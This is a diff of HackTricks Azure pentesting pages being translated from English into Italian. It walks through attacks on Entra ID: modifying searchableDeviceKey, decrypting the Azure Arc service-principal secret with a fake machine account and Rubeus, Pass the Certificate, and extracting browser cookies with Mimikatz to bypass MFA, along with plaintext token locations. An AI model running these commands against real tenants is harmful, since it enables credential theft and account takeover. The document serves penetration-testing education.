Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
|
||||
|
||||
Then, it's possible to generate a new key with:
|
||||
Gli utenti possono modificare la propria proprietà searchableDeviceKey tramite l'Azure AD Graph, tuttavia, l'attaccante deve avere un dispositivo nel tenant (registrato al volo o avendo rubato certificato + chiave da un dispositivo legittimo) e un token di accesso valido per l'AAD Graph.
|
||||
|
||||
Quindi, è possibile generare una nuova chiave con:
|
||||
```bash
|
||||
roadtx genhellokey -d <device id> -k tempkey.key
|
||||
```
|
||||
|
||||
and then PATCH the information of the searchableDeviceKey:
|
||||
e poi PATCH le informazioni di searchableDeviceKey:
|
||||
|
||||
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
|
||||
È possibile ottenere un token di accesso da un utente tramite **device code phishing** e abusare dei passaggi precedenti per **rubare il suo accesso**. Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
|
||||
@@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
|
||||
|
||||
<figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
- [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Install PowerShell in Linux
|
||||
## Installare PowerShell in Linux
|
||||
|
||||
> [!TIP]
|
||||
> In linux you will need to install PowerShell Core:
|
||||
> In linux è necessario installare PowerShell Core:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
@@ -14,11 +14,11 @@
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # Update repos
|
||||
> # Aggiorna i repository
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # Install & start powershell
|
||||
> # Installa e avvia powershell
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
@@ -26,58 +26,47 @@
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
|
||||
## Install PowerShell in MacOS
|
||||
## Installare PowerShell in MacOS
|
||||
|
||||
Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
1. Install `brew` if not installed yet:
|
||||
Istruzioni dalla [**documentazione**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
1. Installa `brew` se non è già installato:
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
|
||||
2. Install the latest stable release of PowerShell:
|
||||
|
||||
2. Installa l'ultima versione stabile di PowerShell:
|
||||
```sh
|
||||
brew install powershell/tap/powershell
|
||||
```
|
||||
|
||||
3. Run PowerShell:
|
||||
|
||||
3. Esegui PowerShell:
|
||||
```sh
|
||||
pwsh
|
||||
```
|
||||
|
||||
4. Update:
|
||||
|
||||
4. Aggiornamento:
|
||||
```sh
|
||||
brew update
|
||||
brew upgrade powershell
|
||||
```
|
||||
|
||||
## Main Enumeration Tools
|
||||
## Strumenti Principali di Enumerazione
|
||||
|
||||
### az cli
|
||||
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
|
||||
[**Interfaccia della riga di comando di Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) è uno strumento multipiattaforma scritto in Python per gestire e amministrare (la maggior parte) delle risorse di Azure e Entra ID. Si connette ad Azure ed esegue comandi amministrativi tramite la riga di comando o script.
|
||||
|
||||
Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||
Segui questo link per le [**istruzioni di installazione¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||
|
||||
Commands in Azure CLI are structured using a pattern of: `az <service> <action> <parameters>`
|
||||
I comandi nella Azure CLI sono strutturati utilizzando un modello di: `az <servizio> <azione> <parametri>`
|
||||
|
||||
#### Debug | MitM az cli
|
||||
|
||||
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
|
||||
|
||||
Utilizzando il parametro **`--debug`** è possibile vedere tutte le richieste che lo strumento **`az`** sta inviando:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
|
||||
Per eseguire un **MitM** sullo strumento e **controllare tutte le richieste** che sta inviando manualmente, puoi fare:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
@@ -90,42 +79,37 @@ export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Az PowerShell
|
||||
|
||||
Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
|
||||
Azure PowerShell è un modulo con cmdlet per gestire le risorse Azure direttamente dalla riga di comando di PowerShell.
|
||||
|
||||
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
Segui questo link per le [**istruzioni di installazione**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
|
||||
Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
|
||||
I comandi nel modulo Azure PowerShell AZ sono strutturati come: `<Action>-Az<Service> <parameters>`
|
||||
|
||||
#### Debug | MitM Az PowerShell
|
||||
|
||||
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
|
||||
|
||||
Utilizzando il parametro **`-Debug`** è possibile vedere tutte le richieste che lo strumento sta inviando:
|
||||
```bash
|
||||
Get-AzResourceGroup -Debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
|
||||
Microsoft Graph PowerShell è un SDK multipiattaforma che consente l'accesso a tutte le API di Microsoft Graph, inclusi servizi come SharePoint, Exchange e Outlook, utilizzando un'unica endpoint. Supporta PowerShell 7+, autenticazione moderna tramite MSAL, identità esterne e query avanzate. Con un focus sull'accesso con il minor privilegio possibile, garantisce operazioni sicure e riceve aggiornamenti regolari per allinearsi con le ultime funzionalità delle API di Microsoft Graph.
|
||||
|
||||
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
|
||||
|
||||
@@ -134,20 +118,14 @@ Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service
|
||||
#### Debug Microsoft Graph PowerShell
|
||||
|
||||
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
|
||||
|
||||
```bash
|
||||
Get-MgUser -Debug
|
||||
```
|
||||
|
||||
### ~~**AzureAD Powershell**~~
|
||||
|
||||
The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
|
||||
Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per gestire le risorse di Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID.
|
||||
|
||||
> [!TIP]
|
||||
> This is replaced by Microsoft Graph PowerShell
|
||||
|
||||
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
|
||||
|
||||
> Questo è sostituito da Microsoft Graph PowerShell
|
||||
|
||||
Segui questo link per le [**istruzioni di installazione**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
@@ -4,17 +4,16 @@
|
||||
|
||||
### Identifying the Issues
|
||||
|
||||
Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
|
||||
Azure Arc consente l'integrazione di nuovi server interni (server del dominio unito) in Azure Arc utilizzando il metodo del Group Policy Object. Per facilitare ciò, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1.
|
||||
|
||||
When executed, the DeployGPO.ps1 script performs the following actions:
|
||||
Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni:
|
||||
|
||||
1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
|
||||
2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
|
||||
1. Crea il GPO di Onboarding dei Server Azure Arc all'interno del dominio locale.
|
||||
2. Copia lo script di onboarding EnableAzureArc.ps1 nella condivisione di rete designata creata per il processo di onboarding, che contiene anche il pacchetto di installazione di Windows.
|
||||
|
||||
When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
|
||||
|
||||
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
|
||||
Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti allo script.
|
||||
|
||||
Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prove di ciò possono essere trovate nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script.
|
||||
```powershell
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
|
||||
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
|
||||
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
|
||||
```
|
||||
|
||||
### Exploit
|
||||
|
||||
We have the follow conditions:
|
||||
Abbiamo le seguenti condizioni:
|
||||
|
||||
1. We have successfully penetrated the internal network.
|
||||
2. We have the capability to create or assume control of a computer account within Active Directory.
|
||||
3. We have discovered a network share containing the AzureArcDeploy directory.
|
||||
|
||||
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
|
||||
1. Abbiamo penetrato con successo la rete interna.
|
||||
2. Abbiamo la capacità di creare o assumere il controllo di un account computer all'interno di Active Directory.
|
||||
3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy.
|
||||
|
||||
Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo implica compromettere un account macchina attraverso ACL vulnerabili o varie altre configurazioni errate.
|
||||
```powershell
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
|
||||
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
|
||||
|
||||
Una volta ottenuto un account macchina, è possibile autenticarsi utilizzando questo account. Possiamo utilizzare il comando runas.exe con il flag netonly oppure utilizzare pass-the-ticket con Rubeus.exe.
|
||||
```powershell
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
@@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell
|
||||
```powershell
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
|
||||
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
|
||||
|
||||
Avendo il TGT per il nostro account computer memorizzato in memoria, possiamo utilizzare il seguente script per decrittografare il segreto del principal del servizio.
|
||||
```powershell
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
@@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
|
||||
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
|
||||
$ebs
|
||||
```
|
||||
Alternativamente, possiamo utilizzare [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
|
||||
Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
A questo punto, possiamo raccogliere le informazioni rimanenti necessarie per connetterci ad Azure dal file ArcInfo.json, che è memorizzato sulla stessa condivisione di rete del file encryptedServicePrincipalSecret. Questo file contiene dettagli come: TenantId, servicePrincipalClientId, ResourceGroup e altro. Con queste informazioni, possiamo utilizzare Azure CLI per autenticarsi come il service principal compromesso.
|
||||
|
||||
At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# Az - Local Cloud Credentials
|
||||
# Az - Credenziali Locali del Cloud
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Local Token Storage and Security Considerations
|
||||
## Archiviazione Locale dei Token e Considerazioni sulla Sicurezza
|
||||
|
||||
### Azure CLI (Command-Line Interface)
|
||||
### Azure CLI (Interfaccia della Riga di Comando)
|
||||
|
||||
Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
|
||||
I token e i dati sensibili sono archiviati localmente da Azure CLI, sollevando preoccupazioni di sicurezza:
|
||||
|
||||
1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
|
||||
2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
|
||||
3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
|
||||
- Executed commands with credentials embedded.
|
||||
- URLs accessed using tokens, potentially revealing sensitive information.
|
||||
1. **Token di Accesso**: Archiviati in testo semplice all'interno di `accessTokens.json` situato in `C:\Users\<username>\.Azure`.
|
||||
2. **Informazioni sull'Abbonamento**: `azureProfile.json`, nella stessa directory, contiene i dettagli dell'abbonamento.
|
||||
3. **File di Log**: La cartella `ErrorRecords` all'interno di `.azure` potrebbe contenere log con credenziali esposte, come:
|
||||
- Comandi eseguiti con credenziali incorporate.
|
||||
- URL accessibili utilizzando token, che potrebbero rivelare informazioni sensibili.
|
||||
|
||||
### Azure PowerShell
|
||||
|
||||
Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
|
||||
Azure PowerShell archivia anche token e dati sensibili, che possono essere accessibili localmente:
|
||||
|
||||
1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
|
||||
2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
|
||||
3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
|
||||
1. **Token di Accesso**: `TokenCache.dat`, situato in `C:\Users\<username>\.Azure`, archivia i token di accesso in testo semplice.
|
||||
2. **Segreti del Principale di Servizio**: Questi sono archiviati non crittografati in `AzureRmContext.json`.
|
||||
3. **Funzione di Salvataggio del Token**: Gli utenti hanno la possibilità di persistere i token utilizzando il comando `Save-AzContext`, che dovrebbe essere usato con cautela per prevenire accessi non autorizzati.
|
||||
|
||||
## Automatic Tools to find them
|
||||
## Strumenti Automatici per Trovarli
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Security Recommendations
|
||||
## Raccomandazioni di Sicurezza
|
||||
|
||||
Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
|
||||
Considerando l'archiviazione di dati sensibili in testo semplice, è cruciale proteggere questi file e directory:
|
||||
|
||||
- Limiting access rights to these files.
|
||||
- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
|
||||
- Employing encryption for sensitive files where possible.
|
||||
- Educating users about the risks and best practices for handling such sensitive information.
|
||||
- Limitare i diritti di accesso a questi file.
|
||||
- Monitorare e auditare regolarmente queste directory per accessi non autorizzati o cambiamenti inaspettati.
|
||||
- Impiegare la crittografia per file sensibili dove possibile.
|
||||
- Educare gli utenti sui rischi e le migliori pratiche per gestire tali informazioni sensibili.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,32 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
|
||||
In macchine collegate ad Azure, è possibile autenticarsi da una macchina all'altra utilizzando certificati che **devono essere emessi da Azure AD CA** per l'utente richiesto (come soggetto) quando entrambe le macchine supportano il meccanismo di autenticazione **NegoEx**.
|
||||
|
||||
In super simplified terms:
|
||||
In termini super semplificati:
|
||||
|
||||
- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
|
||||
- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
|
||||
- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
|
||||
- La macchina (client) che avvia la connessione **ha bisogno di un certificato da Azure AD per un utente**.
|
||||
- Il client crea un'intestazione JSON Web Token (JWT) contenente PRT e altri dettagli, la firma utilizzando la chiave derivata (utilizzando la chiave di sessione e il contesto di sicurezza) e **la invia ad Azure AD**.
|
||||
- Azure AD verifica la firma JWT utilizzando la chiave di sessione del client e il contesto di sicurezza, controlla la validità del PRT e **risponde** con il **certificato**.
|
||||
|
||||
In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
|
||||
In questo scenario e dopo aver raccolto tutte le informazioni necessarie per un attacco [**Pass the PRT**](pass-the-prt.md):
|
||||
|
||||
- Username
|
||||
- Tenant ID
|
||||
- Nome utente
|
||||
- ID tenant
|
||||
- PRT
|
||||
- Security context
|
||||
- Derived Key
|
||||
|
||||
It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
- Contesto di sicurezza
|
||||
- Chiave derivata
|
||||
|
||||
È possibile **richiedere un certificato P2P** per l'utente con lo strumento [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
|
||||
The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
|
||||
|
||||
I certificati dureranno quanto il PRT. Per utilizzare il certificato puoi usare lo strumento python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) che **autenticherà** la macchina remota, eseguirà **PSEXEC** e **aprirà un CMD** sulla macchina vittima. Questo ci permetterà di utilizzare di nuovo Mimikatz per ottenere il PRT di un altro utente.
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
## References
|
||||
|
||||
- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
- Per ulteriori dettagli su come funziona Pass the Certificate, controlla il post originale [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,40 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Why Cookies?
|
||||
## Perché i Cookie?
|
||||
|
||||
Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
|
||||
I **cookie** del browser sono un ottimo meccanismo per **bypassare l'autenticazione e l'MFA**. Poiché l'utente si è già autenticato nell'applicazione, il **cookie** di sessione può essere utilizzato per **accedere ai dati** come quell'utente, senza bisogno di ri-autenticarsi.
|
||||
|
||||
You can see where are **browser cookies located** in:
|
||||
Puoi vedere dove si trovano i **cookie del browser** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## Attack
|
||||
## Attacco
|
||||
|
||||
The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
|
||||
La parte difficile è che quei **cookie sono crittografati** per l'**utente** tramite l'API di protezione dei dati Microsoft (**DPAPI**). Questo è crittografato utilizzando [chiavi crittografiche legate all'utente](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) a cui appartengono i cookie. Puoi trovare ulteriori informazioni su questo in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
{{#endref}}
|
||||
|
||||
With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
|
||||
|
||||
Con Mimikatz in mano, sono in grado di **estrarre i cookie di un utente** anche se sono crittografati con questo comando:
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Per Azure, ci interessano i cookie di autenticazione tra cui **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Questi sono presenti perché l'utente è stato attivo su Azure di recente.
|
||||
|
||||
For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
|
||||
Basta navigare su login.microsoftonline.com e aggiungere il cookie **`ESTSAUTHPERSISTENT`** (generato dall'opzione "Rimani connesso") o **`ESTSAUTH`**. E sarai autenticato.
|
||||
|
||||
Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
**Controlla:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
**Controlla il post su** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) anche se un altro post che spiega lo stesso può essere trovato in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **Informazioni di Base**
|
||||
|
||||
As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
|
||||
Come spiegato in [**questo video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alcuni software Microsoft sincronizzati con il cloud (Excel, Teams...) potrebbero **memorizzare i token di accesso in chiaro nella memoria**. Quindi, semplicemente **dumpando** la **memoria** del processo e **greppando per i token JWT** potrebbe concederti accesso a diverse risorse della vittima nel cloud bypassando l'MFA.
|
||||
|
||||
Steps:
|
||||
|
